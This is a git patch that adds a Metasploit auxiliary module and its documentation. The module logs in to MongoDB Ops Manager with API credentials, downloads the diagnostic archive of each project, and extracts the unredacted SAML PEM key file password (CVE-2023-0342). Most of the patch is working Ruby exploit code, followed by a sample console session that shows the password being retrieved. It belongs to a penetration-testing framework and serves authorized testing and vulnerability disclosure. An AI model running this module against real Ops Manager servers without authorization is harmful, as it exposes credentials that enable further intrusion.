From b41e38bca30bf90b0238a9c28e7fd106c1a59aff Mon Sep 17 00:00:00 2001 From: h00die Date: Thu, 7 Mar 2024 17:05:25 -0500 Subject: [PATCH] mongodb ops manager diagnostic archive info disclosure --- ...odb_ops_manager_diagnostic_archive_info.md | 83 +++++++ ...odb_ops_manager_diagnostic_archive_info.rb | 212 ++++++++++++++++++ 2 files changed, 295 insertions(+) create mode 100644 documentation/modules/auxiliary/gather/mongodb_ops_manager_diagnostic_archive_info.md create mode 100644 modules/auxiliary/gather/mongodb_ops_manager_diagnostic_archive_info.rb diff --git a/documentation/modules/auxiliary/gather/mongodb_ops_manager_diagnostic_archive_info.md b/documentation/modules/auxiliary/gather/mongodb_ops_manager_diagnostic_archive_info.md new file mode 100644 index 000000000000..12aa81fb1b1a --- /dev/null +++ b/documentation/modules/auxiliary/gather/mongodb_ops_manager_diagnostic_archive_info.md @@ -0,0 +1,83 @@ +## Vulnerable Application + +MongoDB Ops Manager Diagnostics Archive does not redact SAML SSL Pem Key File Password +field (`mms.saml.ssl.PEMKeyFilePassword`) within app settings. Archives do not include +the PEM files themselves. This module extracts that unredacted password and stores +the diagnostic archive for additional manual review. + +This issue affects MongoDB Ops Manager v5.0 prior to 5.0.21 and +MongoDB Ops Manager v6.0 prior to 6.0.12. + +API credentials with the role of `GLOBAL_MONITORING_ADMIN` or `GLOBAL_OWNER` are required. + +Successfully tested against MongoDB Ops Manager v6.0.11. + +### Install on Ubuntu 22.04 + +1. Download mongodb server deb from https://www.mongodb.com/download-center/community/releases/archive . + Look for: `Server Package: mongodb-org-server_6.0.11_amd64.deb` +2. Download the 1.4gig ops manager (mms) deb from https://www.mongodb.com/subscription/downloads/archived +3. `sudo apt-get install snmp` +4. `sudo dpkg -i mongodb-org-server_6.0.11_amd64.deb` +5. `sudo dpkg -i mongodb-mms-*` +6. `sudo nano /opt/mongodb/mms/conf/conf-mms.properties` and add a new field at the bottom of the file: `mms.saml.ssl.PEMKeyFilePassword=FINDME` +7. `sudo systemctl start mongod.service` +8. `sudo systemctl start mongodb-mms.service` (wait a little while for it to initialize and run) +9. Browse to http://>:8080/account/register and perform the install, the SMTP fields can use values for a server which doesn't exist. + password: PassW0rd1! +10. Top left corner of the page after install should be "Project 0", click the drop down and create new project. Any name is fine, I called it 'test' +11. Top right of the screen, click Admin, API Keys, Create API Key. Create a new key, for permissions select +`Global Monitoring Admin` or `Global Owner` (or both). + +## Verification Steps + +1. Install the application +1. Start msfconsole +1. Do: `use auxiliary/gather/mongodb_ops_manager_diagnostic_archive_info` +1. Do: `set API_USERNAME [api_username]` +1. Do: `set API_PASSWORD [api_password]` +1. Do: `run` +1. You should find similar output to the following: `Found ubuntu22-0-bgrid's unredacted mms.saml.ssl.PEMKeyFilePassword: FINDME` + +## Options + +### API_USERNAME + +Username for the API key that was created with `Global Monitoring Admin` or `Global Owner` permissions. + +### API_PASSWORD + +Password for the API key that was created with `Global Monitoring Admin` or `Global Owner` permissions. + +## Scenarios + +### Mongodb OPS Manager 6.0.11 on Ubuntu 22.04 + +``` +msf6 > use auxiliary/gather/mongodb_ops_manager_diagnostic_archive_info +msf6 auxiliary(gather/mongodb_ops_manager_diagnostic_archive_info) > set API_USERNAME zmdhriti +API_USERNAME => zmdhriti +msf6 auxiliary(gather/mongodb_ops_manager_diagnostic_archive_info) > set API_PASSWORD fd2faf05-18bc-4e6b-8ea1-419f3e8f95bc +API_PASSWORD => fd2faf05-18bc-4e6b-8ea1-419f3e8f95bc +msf6 auxiliary(gather/mongodb_ops_manager_diagnostic_archive_info) > set verbose true +verbose => true +msf6 auxiliary(gather/mongodb_ops_manager_diagnostic_archive_info) > set rhosts 127.0.0.1 +rhosts => 127.0.0.1 +msf6 auxiliary(gather/mongodb_ops_manager_diagnostic_archive_info) > run +[*] Running module against 127.0.0.1 + +[*] Checking for orgs +[*] Looking for projects in org 65e86256961a9b1cc98c6c8b +[+] Found project: Project 0 (65e86256961a9b1cc98c6c8f) +[+] Stored Project Diagnostics files to /root/.msf4/loot/20240307151114_default_127.0.0.1_mongodb.ops_mana_015137.gz +[*] Opening project_diagnostics.tar.gz +[+] Found ubuntu22-0-bgrid's unredacted mms.saml.ssl.PEMKeyFilePassword: FINDME +[+] Found ubuntu22-0-mms's unredacted mms.saml.ssl.PEMKeyFilePassword: FINDME +[+] Found project: test (65e86331961a9b1cc98c6db7) +[+] Stored Project Diagnostics files to /root/.msf4/loot/20240307151114_default_127.0.0.1_mongodb.ops_mana_205173.gz +[*] Opening project_diagnostics.tar.gz +[+] Found ubuntu22-0-bgrid's unredacted mms.saml.ssl.PEMKeyFilePassword: FINDME +[+] Found ubuntu22-0-mms's unredacted mms.saml.ssl.PEMKeyFilePassword: FINDME +[*] Auxiliary module execution completed +msf6 auxiliary(gather/mongodb_ops_manager_diagnostic_archive_info) > +``` diff --git a/modules/auxiliary/gather/mongodb_ops_manager_diagnostic_archive_info.rb b/modules/auxiliary/gather/mongodb_ops_manager_diagnostic_archive_info.rb new file mode 100644 index 000000000000..32e793dee371 --- /dev/null +++ b/modules/auxiliary/gather/mongodb_ops_manager_diagnostic_archive_info.rb @@ -0,0 +1,212 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'digest/md5' +require 'zlib' + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'MongoDB Ops Manager Diagnostic Archive Sensitive Information Retriever', + 'Description' => %q{ + MongoDB Ops Manager Diagnostics Archive does not redact SAML SSL Pem Key File Password + field (mms.saml.ssl.PEMKeyFilePassword) within app settings. Archives do not include + the PEM files themselves. This module extracts that unredacted password and stores + the diagnostic archive for additional manual review. + + This issue affects MongoDB Ops Manager v5.0 prior to 5.0.21 and + MongoDB Ops Manager v6.0 prior to 6.0.12. + + API credentials with the role of GLOBAL_MONITORING_ADMIN or GLOBAL_OWNER are required. + + Successfully tested against MongoDB Ops Manager v6.0.11. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'h00die', # msf module + ], + 'References' => [ + [ 'URL', 'https://github.com/advisories/GHSA-xqvf-v5jg-pxc2'], + [ 'URL', 'https://www.mongodb.com/docs/ops-manager/current/reference/configuration/#mongodb-setting-mms.https.PEMKeyFilePassword'], + [ 'CVE', '2023-0342'] + ], + 'Targets' => [ + [ 'Automatic Target', {}] + ], + 'DisclosureDate' => '2023-06-09', + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [], + 'Reliability' => [], + 'SideEffects' => [] + } + ) + ) + register_options( + [ + Opt::RPORT(8080), + OptString.new('API_USERNAME', [ true, 'User to login with for API requests', '']), + OptString.new('API_PASSWORD', [ true, 'Password to login with for API requests', '']), + OptString.new('TARGETURI', [ true, 'The URI of MongoDB Ops Manager', '/']) + ] + ) + end + + def check + url = normalize_uri(target_uri.path, 'api', 'public', 'v1.0') + auth_response = digest_auth(url) + # https://www.mongodb.com/docs/ops-manager/current/tutorial/update-om-with-latest-version-manifest-with-api/ + res = send_request_cgi( + 'uri' => url, + 'headers' => { + 'accept' => 'application/json', + 'authorization' => auth_response + } + ) + + return Exploit::CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil? + return Exploit::CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200 + + roles = res.get_json_document.dig('apiKey', 'roles') + return Exploit::CheckCode::Unknown("#{peer} - Unable to retrieve roles") if roles.nil? + + roles = roles.map { |hash| hash['roleName'] } + return Exploit::CheckCode::Safe("API key requires GLOBAL_MONITORING_ADMIN or GLOBAL_OWNER permissions. Current permissions: #{permission.join(', ')}") unless roles.include?('GLOBAL_MONITORING_ADMIN') || roles.include?('GLOBAL_OWNER') + + Exploit::CheckCode::Detected('API key has correct roles but version detection not possible') + end + + def username + datastore['API_USERNAME'] + end + + def password + datastore['API_PASSWORD'] + end + + def digest_auth(url) + # get a 401 so we get the WWW-Authenticate header + res = send_request_cgi( + 'uri' => url, + 'headers' => { + 'accept' => 'application/json' + } + ) + fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? + fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") unless res.code == 401 + + # Define the regular expression pattern to capture key-value pairs + pattern = /(\w+)="(.*?)"/ + + parsed_hash = {} + res.headers['WWW-Authenticate'].scan(pattern) do |key, value| + parsed_hash[key] = value + end + + parsed_hash['nc'] = '00000001' + parsed_hash['cnonce'] = '0a4f113b' # XXX randomize? + + # Calculate the response + ha1 = Digest::MD5.hexdigest("#{username}:#{parsed_hash['realm']}:#{password}") + ha2 = Digest::MD5.hexdigest("GET:#{url}") + parsed_hash['response'] = Digest::MD5.hexdigest("#{ha1}:#{parsed_hash['nonce']}:#{parsed_hash['nc']}:#{parsed_hash['cnonce']}:#{parsed_hash['qop']}:#{ha2}") + + %(Digest username="#{username}", realm="#{parsed_hash['realm']}", nonce="#{parsed_hash['nonce']}", uri="#{url}", cnonce="#{parsed_hash['cnonce']}", nc=#{parsed_hash['nc']}, qop=auth, response="#{parsed_hash['response']}", algorithm=MD5) + end + + def get_orgs + url = normalize_uri(target_uri.path, 'api', 'public', 'v1.0', 'orgs') + auth_response = digest_auth(url) + # https://www.mongodb.com/docs/ops-manager/v6.0/reference/api/organizations/organization-get-all/ + res = send_request_cgi( + 'uri' => url, + 'headers' => { + 'accept' => 'application/json', + 'authorization' => auth_response + } + ) + fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil? + fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials or not enough permissions (response code: #{res.code})") if res.code == 401 + res.get_json_document + end + + def get_projects(org) + url = normalize_uri(target_uri.path, 'api', 'public', 'v1.0', 'orgs', org, 'groups') + auth_response = digest_auth(url) + # https://www.mongodb.com/docs/ops-manager/current/reference/api/organizations/organization-get-all-projects/ + res = send_request_cgi( + 'uri' => url, + 'ctype' => 'application/json', + 'headers' => { + 'accept' => 'application/json', + 'authorization' => auth_response + } + ) + return [] if res.nil? + return [] if res.code == 401 + + res.get_json_document['results'] + end + + def get_diagnostic_archive(project) + url = normalize_uri(target_uri.path, 'api', 'public', 'v1.0', 'groups', project, 'diagnostics') + auth_response = digest_auth(url) + # https://www.mongodb.com/docs/ops-manager/current/reference/api/diagnostics/get-project-diagnostic-archive/ + res = send_request_cgi( + 'uri' => url, + 'ctype' => 'application/json', + 'headers' => { + 'accept' => 'application/gzip', + 'authorization' => auth_response + }, + 'vars_get' => { 'pretty' => 'true' } + ) + return if res.nil? + return unless res.code == 200 + + l = store_loot('mongodb.ops_manager.project_diagnostics', 'application/gzip', rhost, res.body, "project_diagnostics.#{project}.tar.gz", "Project diagnostics for MongoDB Project #{project}") + print_good("Stored Project Diagnostics files to #{l}") + vprint_status(' Opening project_diagnostics.tar.gz') + gz_reader = Zlib::GzipReader.new(StringIO.new(res.body)) + tar_reader = Rex::Tar::Reader.new(gz_reader) + tar_reader.each do |entry| + next unless entry.full_name == 'global/appSettings.json' + + json_data = JSON.parse(entry.read) + next unless json_data.key? 'instanceOverrides' + + json_data['instanceOverrides'].each do |key, value| + next unless value.key? 'mms.saml.ssl.PEMKeyFilePassword' + + if value['mms.saml.ssl.PEMKeyFilePassword'] == '' + fail_with(Failure::NotVulnerable, 'Value is , server is patched.') + else + print_good("Found #{key}'s unredacted mms.saml.ssl.PEMKeyFilePassword: #{value['mms.saml.ssl.PEMKeyFilePassword']}") + end + end + end + tar_reader.close + gz_reader.close + end + + def run + vprint_status('Checking for orgs') + orgs = get_orgs + orgs['results'].each do |org| + org = org['id'] + vprint_status("Looking for projects in org #{org}") + projects = get_projects(org) + projects.each do |project| + vprint_good(" Found project: #{project['name']} (#{project['id']})") + get_diagnostic_archive(project['id']) + end + end + end +end